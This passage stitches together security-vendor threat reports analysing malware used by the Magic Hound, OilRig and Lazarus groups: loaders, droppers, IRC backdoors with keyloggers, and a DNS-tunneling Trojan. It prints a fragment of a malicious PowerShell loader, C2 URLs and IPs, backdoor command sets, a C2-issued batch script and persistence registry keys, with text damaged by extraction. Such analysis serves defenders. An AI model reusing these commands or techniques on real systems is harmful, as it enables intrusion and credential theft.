+"\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $b32 $DKn $e"}else{;iex "& powershell $DKn $e";}
+The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it. We found the command above within the source code of Magic Unicorn,
+which was also used in the Magic Hound delivery documents. The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from
+Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL:
+http://www7.chrome-up[.]date/0m5EE
+We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload. However, as alluded to above, we believe that this adversary used
+the open source Magic Unicorn tool to load a shellcode-based payload. The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to
+speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload.
+PUPY LOADER
+Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and We have seen the Magic Hound actors using both the 32-bit
+and 64-bit DLL loaders that come with Pupy to infect Windows systems. We have gathered three samples of the default loader associated with this group and extracted the following
+12/19
+configurations:
+SHA256 of Sample
+Configuration
+82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190
+LAUNCHER_ARGS=[
+host
+www1.chrome-up[.]date:4443
+obfs3
+db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f
+LAUNCHER_ARGS=[
+host
+www1.chrome-up[.]date:4443
+obfs3
+7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73
+LAUNCHER_ARGS=[
+host
+139.59.46[.]154:3543
+obfs3
+These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers. Also, the configurations show the use of the 
+obfs3
+(The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol. The 
+obfs3
+ is used in the Tor project and the specifics of this
+transport can be found at the Tor Project.
+MAGICHOUND.DROPIT
+The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt.
+The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the
+correct order. In all of the DropIt samples we collected, the dropper will then save the executable to the user
+s %TEMP% folder and execute the file, specifically to one of the following
+filenames:
+%TEMP%\spp.exe
+%TEMP%\sloo.exe
+%TEMP%\spoo.exe
+%TEMP%\vschos.exe
+We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload. For example, we
+analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to
+%TEMP%\flash_update.exe
+ that was a legitimate Flash Player installer. We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social
+engineering, which in the example above included coercing the victim into updating their Flash Player.
+MAGICHOUND.RETRIEVER
+We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers
+associated with Magic Hound. While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named 
+c:\temp
+ that the Magic Hound loader creates to store
+its persistence executable, as previously discussed. The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure
+makes a higher fidelity connection between the two.
+The Retriever Trojan uses the following namespace:
+using pcchekapp.grp.ammar.samaneh;
+Android.The malware begins by creating a web service object and uses the following URL within its configuration:
+http:// service.chrome-up[.]date:8080 /WebService.asmx
+It then calls a function called 
+SetLog2
+, which sets variables for the system
+s IP address, MAC address and hostname. A password variable is available but unused in this sample. The
+code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system. The code obtains the external IP address
+via an HTTP request using to 
+http://checkip.dyndns.org/
+ and uses a regular expression to locate an IP address from the HTTP response.
+Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as:
+As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request. All subsequent interaction with the C2 server uses the same
+SOAP web service, so we will not show all of the generated HTTP requests. Instead, we will refer to the specific SOAP action (see 
+SOAPAction
+ field in previous example, specifically
+SetLog2
+) that the Trojan requests from the C2 server and the response from the C2 server. After sending the C2 the system information, the malware then issues a second request for
+GetHasAnything
+, which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install.
+If the C2 server provides any response to the 
+GetHasAnything
+ request, it then calls the 
+GetIdAbOne
+ SOAP method to obtain what we believe is a unique identifier for the system that
+the Trojan will use for further interaction with the C2. After receiving this variable, the Trojan calls the 
+GetNameAbById
+ to obtain a base64 string that will be the filename written in a newly
+created 
+c:\temp
+ (decoded from 
+YzpcdGVtcFw=
+) folder. The Trojan will then call 
+GetAbById
+, which the C2 will provide a base64 string for the contents for the file to write to c:\temp.
+After obtaining the unique ID from the C2 server, the Trojan calls the 
+SetAbStatById
+ method to notify the C2 server of its status of 
+ to notify the server it had successfully received the
+filename and file data.
+13/19
+With the file written to the system, the Trojan calls the 
+GetishideAbById
+ SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden
+window. This request is followed by a call to 
+GetisrunasAbById
+ to determine if the Trojan should use 
+runas
+ to execute the downloaded executable with elevated privileges, which would
+display the UAC dialog for the user to click.
+Unfortunately, we were unable to obtain a secondary payload from an active C2 server.
+MAGICHOUND.LEASH
+The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. This tool was discovered when we observed a DropIt sample installing
+a backdoor Trojan that used IRC for its C2 communications. The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a
+channel using the following IRC commands:
+USER AS_a # # :des
+NICK Conroy
+JOIN :#kalk
+Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. The following commands are available:
+Command
+SubCommand
+Description
+Generates the following IRC client command that will be sent to the C2 server:
+PRIVMSG <username> :
+8 LED= 20160124
+KILL
+Trojan disconnects from the IRC server and terminates itself
+RESET
+Trojan disconnects from the IRC server and runs the executable again
+Obtains the Windows version and responds to the C2 with the following message 
+PRIVMSG :
+Windows NT
+Windows 95
+Windows 98
+Windows ME
+Windows 2003
+Windows XP
+Windows 7
+Windows Vista
+Unkown os info
+EXEC
+Not supported
+Creates a specified directory. The Trojan will respond to the C2 with 
+PRIVMSG : []
+. The message sent to the C2 will be 
+dir is maked.
+ if successful or
+dir is not maked
+ if unsuccessful.
+MKDIR
+Same as MD subcommand.
+Removes a specified directory. The Trojan will respond to the C2 with 
+PRIVMSG : []
+. The message sent to the C2 will be 
+dir is removed.
+successful or 
+dir is not removed.
+ if unsuccessful.
+Deletes a specified file. The Trojan will respond to the C2 with 
+PRIVMSG : []
+. The message sent to the C2 will be 
+file is deleted.
+ if successful or 
+file
+is not deleted.
+ if unsuccessful.
+COPY
+Not supported.
+MOVE
+Not supported.
+Renames a specified file. The Trojan will respond to the C2 with 
+PRIVMSG : []
+. The message sent to the C2 will be 
+file is renamed.
+ if successful or
+file is not renamed.
+ if unsuccessful.
+DRIVE
+Lists the logical drives and the type, as well the total/free space of the fixed devices.
+Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server.
+!DWN
+Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with 
+Download Success :FilePath= 
+ or 
+Download Fail
+unsuccessful.
+!CMD
+Trojan executes a command prompt command. The Trojan will save the output of the command to %TEMP%\win .txt and send the contents to the C2
+server or 
+The length of Cmd result file is ziro!
+ if the command was unsuccessful.
+Generates the following IRC client command that will be sent to the C2 server:
+PRIVMSG : Hello ,my name is , Im ready my Computer Name is:
+All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with 
+ or 
+. This suggests that the adversary
+14/19
+IRC nickname would need to have these prefixes to control the systems infected with this Trojan. The adversary could have used this name requirement as an added measure to make
+sure other individuals did not join the IRC server and begin interacting with compromised systems.
+15/19
+16/19
+17/19
+MPKBot
+We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on
+as a C2 server instead. This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a
+threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper
+have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them.
+From a behaviorial standpoint, both the IRC and custom protocol version of MPK save 
+tmp.vbs
+ and 
+tmp1.vbs
+ to the %TEMP% folder (both differed slightly but used the same variable
+names within the script) in order to copy the Trojan to its final location and to execute it. Both variants need to be executed with the command line argument 
+ to avoid continually
+attempting to copy and execute the Trojan using the 
+tmp.vbs
+ and 
+tmp1.vbs
+ files. The two variants of MPK share the same registry key that the Trojan uses to automatically run each
+time the system starts, specifically:
+[HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer
+Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file. The MPK IRC Bot monitors
+active application windows and writes the title of the open window along with the logged keystrokes to a file at 
+%temp%\Save.tmp
+. The MPK Trojan also monitors specifically for windows
+that are likely to contain login forms for popular web-based email clients, such as titles that contain:
+Gmail -
+Yahoo 
+ login
+Sign In -
+Outlook.com -
+MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format:
+/////////////
+Mail Find <email address>
+///////////
+If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the 
+Save.tmp
+ file in the following format:
++++++++++++++
+Window= <window title>
++++++++++++++
+The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used. The IRC variant creates a mutex named 
+mpk1
+ and attempts to connect to an IRC
+server at 45.58.37[.]142:6667. The MPK bot generates a random lowercase name and uses it to log into the IRC server. It then sends the following IRC commands:
+NICK bxphzrjbxp
+18/19
+USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp
+To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects:
+Welcome to the MpkNet IRC Network
+The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick 
+. After connecting to the IRC server, the MPK bot sends
+custom ping messages and provides an introduction via a 
+!Hello
+ message that contains the current logged in user of the infected host, if the user has administrator privileges, the
+hostname, the UUID of the system, and operating system version. Figure 7 shows the initial private messages sent from the MPK bot to the 
+ account on the C2 server.
+Figure 7 Initial private messages sent from MPK to the IRC C2 server
+The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK. The IRC variant of MPK has a
+command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact
+with the file system, to run arbitrary commands, and to download and execute additional tools on the system.
+Command
+Description
+!Dir
+Lists the contents of a specified directory
+!Drives
+Enumerates the storage drives attached to the system and their respective type.
+!DeleteFile
+Deletes a specified file
+!NickChange
+Changes the nickname that the Trojan uses to log into the C2 IRC server. Writes it to 
+nick435.tmp
+ for subsequent logins.
+!ProcessList
+List running processes, including their PID, parent PID, executable name and priority
+!SendFileToServer
+Uploads a specified file to the C2 server
+!CaptureScreen
+Takes a screenshot that it saves to a file and uploads to the C2 server.
+!Hello
+The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version.
+!ProcessKill
+Terminates a process based on PID
+!RenameFileFolder
+Renames a file or folder and returns a list of the containing folder to the C2 server.
+!GetFileOfServer
+Writes a file from the C2 server to a specified file
+!ExecuteCommand
+Uses the command prompt sub-process to execute commands and returns their results to the C2.
+!ExeCuteFile
+Executes a specified file using ShellExecuteA
+!DeleteFileFolder
+Deletes a file or a folder
+!SendkeyLogToServer
+Uploads the %TEMP%\Save.tmp file to the C2 server
+!DeleteKeyloggerLog
+Deletes the %TEMP%\Save.tmp file on the system
+Table 2 Commands available within MPK IRC Bot
+19/19
+OilRig Deploys 
+ALMA Communicator
+ DNS Tunneling
+Trojan
+researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/
+By Robert Falcone
+November 8, 2017
+Unit 42 has been closely tracking the OilRig threat group since May 2016. One technique
+ve been tracking with this threat group is their use of the Clayslide delivery document as
+attachments to spear-phishing emails in attacks since May 2016. In our April 2017 posting
+OilRig Actors Provide a Glimpse into Development and Testing Efforts we showed how we
+observed the OilRig threat group developing and refining these Clayside delivery documents.
+Recently, we observed a new version of the Clayslide delivery document used to install a new
+custom Trojan whose developer calls it 
+ALMA Communicator
+. The delivery document also
+saved the post-exploitation credential harvesting tool known as Mimikatz, which we believe the
+threat actors will use to gather account credentials from the compromised system. While we
+do not have detailed telemetry, we have reason to believe this attack targeted an individual at
+a public utilities company in the Middle East.
+New Clayslide Delivery Document
+The most recent build of Clayslide operates in a similar way to its predecessors, as it initially
+displays an 
+Incompatible
+ worksheet that states that the Excel file was created with a newer
+version of Excel and the user needs to 
+Enable Content
+ to view the document. If the user
+clicks 
+Enable Content
+, a malicious macro will run that begins by displaying a hidden
+worksheet that contains decoy contents, as seen in the following:
+While the decoy is displayed to the victim, the malicious macro accesses data from specific
+cells in the 
+Incompatible
+ worksheet that it concatenates to create an .HTA file, which it then
+saves to %PUBLIC%\tmp.hta and opens with the mshta.exe application. The .HTA file
+contains HTML that will run a VBScript that finally installs the malicious payload for this attack.
+The payload installation process begins with the .HTA file creating a folder named
+%PUBLIC%\{5468973-4973-50726F6A656374-414C4D412E-2}, to which it writes three files
+with the following names:
+SystemSyncs.exe
+m6.e
+The .HTA file contains two encoded executables that it will decode and write to m6.e and
+SystemSyncs.exe. The .HTA file contains a base64 encoded configuration that it decodes and
+saves to the cfg file, which the Trojan will use to obtain the C2 domain that it will use to
+communicate with the threat actor. The C2 domain saved to the cfg file in this attack is
+prosalar[.]com.
+The SystemSyncs.exe file (SHA256:
+2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e) is a custom
+Trojan created by the OilRig group called 
+ALMA Communicator
+, which we will describe in
+detail in the next section.
+The 
+m6.e
+ file dropped by the .HTA file is a variant of Mimikatz (SHA256:
+2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c) tool. We have
+seen the OilRig threat group using Mimikatz for credential gathering during its post-exploitation
+activities, however, this is the first time we have observed the threat group delivering Mimikatz
+during the delivery phase of the attack. We believe the Clayslide delivery document dropped
+this additional tool based on the limitations of ALMA Communicator
+s C2 channel, which we
+will describe later in this report.
+The VBScript in the .HTA file executes the SystemSyncs.exe payload and achieves persistent
+execution by creating a scheduled task. Unlike past Clayslide documents that create a
+scheduled task via the schtask application via the command prompt, the VBScript
+programmatically creates the task using the Schedule.Service object. The scheduled task
+created, as seen in Figure 1, shows that the payload will be executed every two minutes with
+the command line argument 
+Lock
+Figure 1 Scheduled task created by Clayslide to execute the ALMA Communicator payload
+ALMA Communicator Trojan
+The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to
+receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a
+configuration from the cfg file that was initially created by the Clayslide delivery document.
+ALMA does not have an internal configuration, so the Trojan does not function without the cfg
+file created by the delivery document.
+After reading in its configuration, the Trojan creates two folders for staging, named Download
+and Upload. ALMA uses the Download folder to save batch files provided by the C2 server,
+which it will eventually run. ALMA uses the Upload folder to store the output of the executed
+batch files, which it will eventually exfiltrate to the C2 server.
+ALMA Communicator uses DNS tunneling as its C2 communication channel using a specific
+protocol that uses specially crafted subdomains to transmit data to the C2 server and specific
+IPv4 addresses to transmit data from the C2 to the Trojan. The transmission of information
+from the Trojan to the C2 server occurs through DNS requests to resolve specially crafted
+subdomains on the configured C2 domain.
+To build these specially crafted subdomains, the Trojan generates a random four-digit number
+and concatenates a hardcoded string of ID. The Trojan then appends a unique identifier for the
+compromised system to this string. To generate this unique identifier, the Trojan starts by
+obtaining the system
+s ProductId from the registry, specifically at
+SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. If it cannot find this registry
+key, it will use the hardcoded value 00000-00000-00000-00000. It then obtains the username
+and concatenates an underscore followed by the product id string. The Trojan takes the MD5
+hash of this string and uses it as the basis for the unique identifier for the compromised
+system. It then appends the hardcoded -0-2D-2D string to finish the construction of the
+subdomain used to beacon the C2 server. Figure 2 shows the structure of the domains that
+ALMA communicator will send to the C2 server to receive data.
+Figure 2 Domain used by ALMA communicator to receive data from the C2 server
+To provide a better explanation of the unique identifier generated by ALMA communication,
+s consider a test system with the username and product id create the string
+Administrator_00000-00000-00000-00000, which results in an MD5 hash of
+35ead98470edf86a1c5a1c5fb2f14e02. The Trojan will generate the unique identifier string
+3d7f11b4 by taking the first, fifth, ninth, thirteenth, seventeenth, twenty first, twenty fifth and
+twenty ninth characters from the MD5 hash and concatenating them together, as seen in
+Figure 3.
+Figure 3 How ALMA Communicator generates the unique identifier for the compromised
+system
+The C2 server will reply to the beacon DNS requests with IPv4 addresses within A records.
+The Trojan will parse these requests for two specific IP addresses, one to mark the beginning
+and one to mark the end of the transmission of data from the C2 to the Trojan. The two specific
+IP addresses to mark the start and end of the data are:
+Start 
+ 36.37.94.33 ($%^!)
+End 
+ 33.33.94.94 (!!^^)
+The C2 will respond to DNS queries between these two responses with IP addresses that the
+Trojan will treat as binary data. During our analysis, we observed the following data being sent
+from the C2 server to our analysis system, with $%^! and !!^^ representing the start and stop
+markers for the data:
+$%^!_DnsInit.bat@echo off & chcp 65001\r\necho
+%userdomain%\\%username% 2>&1 & echo %computername% 2>&1 & echo
+________________________________Task__________________________________
+& schtasks /query /FO List /TN "Google_{50726F6A656374414C4D41-48747470}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1
+& schtasks /query /FO List /TN "Micro_{50726F6A656374414C4D41-446E73-2}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo
+______________________________________________________________________ !!^^
+Based on the data sent back from the C2, the Trojan will create a file named _DnsInit.bat with
+commands seen in the data. The Trojan stores the batch file in the Download folder. The
+Trojan will then enumerate this folder and create a cmd.exe process with the path to the batch
+script as a command line argument. The Trojan will add to the command line argument the
+string 
+ followed by the batch script
+s filename with the .txt.Prc file extension to write the
+output of the command to a text file in the Upload folder. Before running the process, the
+following string to the end command line argument to delete the batch script upon execution:
+\r\nDEL /f /q \
+%~0\
+|exit
+The Trojan will then attempt to send the newly created file in the Upload folder that contains
+the result of running the command. The DNS requests used to send this data has four fields
+that are split up using a hyphen, which are:
+1. Random four-digit number followed by static 
+ string and the 10 character unique
+system identifier
+2. Number of DNS queries needed to send entire data stream
+3. Maximum of 20 characters for 10 hexadecimal bytes of data to transmit
+4. String of characters for hexadecimal bytes for filename transmitted
+To better visualize the structure of a DNS query used to send data, the following is shows the
+domain name that the Trojan will build to send data to its C2 server:
+[random 4 digits]ID[unique identifier]-[number of DNS queries needed]-[string of hexadecimal
+bytes for sent data]-[string of hexadecimal bytes for filename being sent].prosalar[.]com
+For example, figure 4 is the first DNS query issued after our testing system ran the
+_DnsInit.bat script provided by the C2 server mentioned above. As you can see, each DNS
+request can only send 10 bytes of data at a time, requiring 29 outbound requests to transmit
+the 289 bytes of output that was generated by the batch script.
+Figure 4 Subdomain that ALMA Communicator attempts to resolve to transmit data to its C2
+server
+As you can surmise, ALMA Communicator
+s C2 channel is rather limited when it comes to data
+transfer. If an actor wished to use ALMA communicator to exfiltrate large files, it would result in
+a very large number of outbound DNS requests, as each outbound request can only send 10
+bytes at a time. Even more limiting is the data transmission from the C2 server to the Trojan,
+which can only send 4 bytes per DNS request, as each IPv4 address is treated as data. We
+believe this is the reason why the Clayslide delivery document saved the Mimikatz tool to the
+system instead of having the actor download the tool to the system after a successful
+compromise. Based on the 4-byte per DNS request limitation, the ALMA Communicator would
+generate 189,568 DNS requests (not including the start and stop requests) to transmit the
+758,272 byte Mimikatz tool to the system, which may be detected by security systems or
+personnel.
+Conclusion
+The OilRig threat group continues to use their Clayslide delivery document in their attack
+campaigns. The current variant of Clayslide also suggests that this group continues to develop
+these delivery documents with new installation techniques to evade detection. This threat
+group also continues to add new payloads to their toolset as well, with ALMA Communicator
+being the most recent addition. Lastly, it appears that OilRig still prefers using DNS tunneling
+for its C2 channel of choice, as ALMA Communicator, Helminth and ISMAgent all use this
+technique for C2 communications.
+Palo Alto Networks customers are protected by the following:
+WildFire identifies ClaySlide delivery documents and ALMA Communicator samples as
+malicious
+Traps blocks the ALMA Communicator Trojan via Local Analysis and blocks the
+Clayslide delivery document based on 
+Suspicious macro detected
+AutoFocus customers can track these tools using the following tags:
+Clayslide
+ALMACommunicator
+Mimikatz
+Indicators of Compromise
+f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111 (Clayslide)
+2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e (ALMA
+Communicator)
+2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c (Mimikatz)
+prosalar[.]com
+The Blockbuster Sequel
+researchcenter.paloaltonetworks.com /2017/04/unit42-the-blockbuster-sequel/
+By Anthony Kasza and Micah
+Yates
+4/7/2017
+Unit 42 has identified malware with recent compilation and distribution timestamps that has code,
+infrastructure, and themes overlapping with threats described previously in the Operation Blockbuster report,
+written by researchers at Novetta. This report details the activities from a group they named Lazarus, their tools, and the techniques they use to
+infiltrate computer networks. The Lazarus group is tied to the 2014 attack on Sony Pictures Entertainment and the 2013 DarkSeoul attacks.
+This recently identified activity is targeting Korean speaking individuals, while the threat actors behind the attack likely speak both Korean and
+English. This blog will detail the recently discovered samples, their functionality, and their ties to the threat group behind Operation Blockbuster.
+Initial Discovery and Delivery
+This investigation began when we identified two malicious Word document files in AutoFocus threat intelligence tool. While we cannot be certain
+how the documents were sent to the targets, phishing emails are highly likely. One of the malicious files was submitted to VirusTotal on 6 March
+2017 with the file name 
+.doc
+. Once opened, both files display the same Korean language decoy document which appears to be the
+benign file located online at 
+www.kuipernet.co.kr/sub/kuipernet-setup.docx
+1/12
+Figure 1 Dropped decoy document
+This file (Figure 1) appears to be a request form used by the organization. Decoy documents are used by attackers who want to trick victims into
+thinking a received file is legitimate. At the moment, the malware infects the computer, it opens a non-malicious file that contains content the
+target expected to receive (Figure 2.) This serves to fool the victim into thinking nothing suspicious has occurred.
+2/12
+Figure 2 Spear Phishing Attack uses a decoy a file to trick the target
+When these malicious files are opened by a victim, malicious Visual Basic for Applications (VBA) macros within them write an executable to disk
+and run it. If macros are disabled in Microsoft Word, the user must click the 
+Enable Content
+ button for malicious VBA script to execute. Both
+documents make use of logic and variable names within their macros, which are very similar to each other. Specifically, they both contain strings
+of hex that when reassembled and XOR-decoded reveal a PE file. The PE file is written to disk with a filename that is encoded in the macro
+using character substitution. Figure 3 shows part of the logic within the macros which is identical in both files.
+3/12
+Figure 3 Malicious document malicious macro source code
+The Embedded Payload
+The executable which is dropped by both malicious documents is packed with UPX. Once unpacked, the payload
+(032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) can be statically examined. The compile timestamp of the sample is
+March 2 nd, 2017, just a few days before one of the documents carrying the implant was submitted to VirusTotal.
+The payload ensures a copy of itself is located on disk within the %TEMP% directory and creates the following registry entry to maintain
+persistence if the system is shutdown
+HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\JavaUpdate ,
+Value:%TEMP%\java.exe /c /s
+It then executes itself with the following command line:
+%TEMP%\java.exe /c %TEMP%\java.exe
+The implant beacons to its command and control (C2) servers directly via the servers
+ IPv4 addresses, which are hard coded in the binary, no
+domain name is used to locate the servers. The communications between the implant and the server highly resemble the 
+fake TLS
+ protocol
+associated with malware tools used by the Lazarus group and described in the Operation Blockbuster report. However, the possible values of the
+Server Name Indication (SNI) record within the CLIENT HELLO of the TLS handshake used by the implant differ from those described in the
+4/12
+report. The names embedded in the new sample and chosen for communications include:
+twitter.com
+www.amazon.com
+www.apple.com
+www.bing.com
+www.facebook.com
+www.microsoft.com
+www.yahoo.com
+www.join.me
+The C2 servers contacted by the implant mimic the expected TLS server responses from the requested SNI field domain name, including
+certificate fields such as the issuer and subject. However, the certificates
+ validity, serial number, and fingerprint are different. Figure 4 shows a
+fake TLS session which includes the SNI record 
+www.join.me
+ destined for an IPv4 address which does not belong to Join.Me.
+Figure 4 The use of 
+www.join.me
+ as an SNI record of a TLS handshake to an IPv4 address which does not host that domain name
+Expanding the Analysis
+Because the attackers reused similar logic and variable names in their macros, we were able to locate additional malicious document samples.
+Due to the heavy reuse of code in the macros we also speculate the documents are created using an automated process or script. Our analysis
+of the additional malicious documents showed some common traits across the documents used by the attackers:
+1. Many, but not all, of the documents have the same author
+2. Malicious documents support the ability to drop a payload as well as an optional decoy document
+3. XOR keys used to encode embedded files within the macros seem to be configurable
+4. All of the dropped payloads were compressed with a packer (the packer used varied)
+Multiple testing documents which dropped and executed the Korean version of the Microsoft calc.exe executable, but contained no malicious
+code, were also identified. This mirrors a common practice in demonstrating exploits of vulnerabilities. Interestingly enough, all of the test
+documents identified were submitted to VirusTotal with English file names from submitters located in the United States (although not during US
+working hours
+). Despite the documents having Korean code pages, when executed they open decoy documents with the English text:
+testteststeawetwetwqetqwetqwetqw
+. These facts lead us to believe at least some of the developers or testers of the document weaponizing tool
+may be English speakers.
+While some of the documents identified carry benign payloads, most of the payloads were found to be malicious. A cluster of three malicious
+documents were identified that drop payloads which are related via C2 domains. The payloads can be seen highlighted in Figure 5.
+5/12
+Figure 5 Related executables, their C2 domain names, their dropper documents, and the shared batch file
+The two malicious payloads circled in Figure 5 write a batch script to disk that is used for deleting the sample and itself, which is a common
+practice. The batch script dropped by the two payloads share a file name, file path, and hash value with a script sample
+(77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976). This sample is described in a 2016 research report by Blue
+Coat discussing connections between the DarkSeoul group and the Sony breach of 2014.
+The script
+s (Figure 6) hash value will vary depending on the name of the file it is to delete. It also includes an uncommon label inside it of
+L21024
+. The file the script deletes is the payload which writes the script to disk. In the case of Figure 6, the payload was named 
+thing.exe
+Figure 6 The contents of the shared batch script
+Ties to Previous Attacks
+In addition to the commonalities already identified in the communication protocols and the shared cleanup batch script use by implants, the
+payloads also share code similarities with samples detailed in Operation Blockbuster. This is demonstrated by analyzing the following three
+samples, which behave in similar ways:
+6/12
+032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0
+79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18
+520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18
+We used these three samples to reach the conclusion that the samples investigated are tied to the Lazarus group.
+First, these three samples all use a unique method of executing a shell command on the system. An assembly function is passed four strings.
+Some of the strings contain placeholders. The function interpolates the strings and creates a system command to be executed. The following four
+parameters are passed to the function:
+xe /
+c%s.e%sc \ 
+%s > %s 2>&1\
+These are used not only in the implant we investigated, but also in the two samples above. Additionally, many samples discussed in the
+Operation Blockbuster report also made use of this technique. Figure 7 shows the assembly from the unpacked implant
+(032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) delivered by our malicious document and shows the string
+interpolation function being used.
+7/12
+Figure 7 The string interpolation function assembly with library names from
+032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0
+Figure 8 shows the same string interpolation logic but within a different sample
+(79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18.) The instructions are the same except where the system calls are
+replaced with DWORDs which brings us to a second similarity.
+Figure 8 The string interpolation function assembly without library names from
+79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18
+The second similarity ties this sample to a known Lazarus group sample
+(520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18.) Upon execution, both samples set aside memory to be used as
+function pointers. These pointers are assigned values by a dedicated function in the binary. Other functions in the binary call the function
+pointers instead of the system libraries directly. The motivation for the use of this indirection is unclear, however, it provides an identifying
+detection mechanism.
+These two samples resolve system library functions in a similar yet slightly different manner. The sample known to belong to the Lazarus group
+uses this indirect library calling in addition to a function that further obfuscates the function
+s names using a lookup table within a character
+substitution function. This character substitution aspect was removed in the newer samples. The purpose for removing this functionality between
+the original Operation Blockbuster report samples and these newer ones is unclear. Figure 9 displays how this character substitution function
+was called within the Lazarus group sample.
+8/12
+Figure 9 The character substitution function from 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 being called
+SHA256 Hash
+String
+Interpolation
+Function
+System
+Library
+Obfuscation
+Fake TLS
+Label
+Communications
+032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0
+Initially
+identified
+payload
+79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18
+Sample
+identified to
+be related
+to initial
+payload
+Operation
+Blockbuster
+sample
+520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18
+Known
+Operation
+Blockbuster
+sample
+Figure 10: A comparison of features between samples
+Final Thought
+Overlaps in network protocols, library name obfuscation, process creation string interpolation, and dropped batch file contents demonstrate a
+clear connection between the recent activity Unit 42 has identified and previously reported threat campaigns. Demonstrated by the malicious
+document contents, the targets of this new activity are likely Korean speakers, while the attackers are likely English and Korean speakers.
+It is unlikely these threat actors will stop attacking their targets. Given the slight changes that have occurred within samples between reports, it is
+likely this group will continue to develop their tools and skillsets.
+9/12
+Customers using WildFire are protected from these threats and customers using AutoFocus can find samples from this campaign tagged as
+Blockbuster Sequel.
+Indicators of Compromise
+Initial Malicious Documents
